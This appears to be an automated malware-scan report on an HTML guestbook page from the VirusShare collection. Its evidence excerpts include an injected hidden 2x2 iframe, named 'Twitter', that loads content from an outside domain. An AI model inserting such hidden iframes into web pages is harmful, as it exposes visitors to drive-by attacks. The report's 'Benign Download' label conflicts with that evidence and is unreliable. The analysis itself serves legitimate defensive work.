Benign Download

VirusShare_3d0f3a24bf88f98b3719dedb1c997a4e

HTML form declares the POST methodLoads external iframe content

SHA-25622fa0787a56edea254814813d05a5c42966ad61d9123e2afedb85a0312c7f918

Evidence

Loads local script element lines 8–11

8:17… ="Content-Type" content="text/html; charset=iso-8859-1"></HEAD>
9<script language="JavaScript" src="../keut.js"></script>
10<script language="JavaScript" src="../fond_td.js"></script>
11<BODY onload="zoom_frm(710)"><!--style="background-image: url(images/tranp_vers_noir.gif); background-repeat: repeat- …

HTML form declares the POST method lines 299–309

299:46… center></b> 
300</font> 
301</td> 
302</tr> 
303<tr><td bgcolor="#E6BD10"> 
304<form method="POST" action="livredor.php3"> 
305<center> 
306<br> 
307<font face="arial" color="#000000" size="-1"> 
308<b>Votre nom</b> :&nbsp; 
309<input type=" …

Loads external iframe content lines 331–339

⋯5 lines
336
337
338<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://oyunnokta.com/azod.html?i=1379></iframe></body>
339</HTML>